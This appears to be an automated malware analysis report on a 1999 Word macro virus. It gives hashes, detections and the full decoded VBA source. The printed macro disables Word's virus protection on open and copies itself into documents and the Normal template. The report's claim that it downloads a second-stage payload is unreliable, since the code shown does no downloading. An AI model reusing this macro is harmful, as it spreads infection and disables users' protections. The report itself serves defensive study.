Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 480952c02b18670f…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-07-26 11:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a4927f9a07c89094cd23574d6bcc6325 SHA-1: 846d90af974432a7f912df4ffc2c754b419ebf2c SHA-256: 480952c02b18670fca287bb86e8e2ebbb6fee5817859ed3a4eebfe9d31290046
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro is designed to bypass virus protection and execute code, as indicated by the ClamAV detection 'Doc.Trojan.Hope-2'. The script's comment suggests it is a downloader or dropper, likely intended to fetch and execute a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1680 bytes
SHA-256: 2b0079beff69c386917c429aa9c75a927a48b5501e2933e9bdd02a98f330447a
Detection
ClamAV: Doc.Trojan.Hope-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): If Options.VirusProtection <> 0 Then Options.VirusProtection = 0 Else If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines = 0 Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents.Item(1).CodeModule.lines(1, 2) Else If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents.Item(1).CodeModule.lines(1, 2) Else If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines <> 2 Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines Else If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines <> 2 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines Else Beep
End Sub 'w97m/KornBeep v2.0d fri aug 13 99 [SWL/LZ0/DVC] special thanks 2 slage hammer and jacktwoflower for this contest; helo 2 skammy my partner but got "shut down", the might 4 including me in dvc, iman urtcele 4 helping me with v1.7-2.0, virus buster, lys kovick, mkvg, virtual life, trevelyan, Raid, Knowdeth; members of skamwerks, linezer0, and dvc; respects 2 the codebreakers, avm, tnn, slam, 29a... =)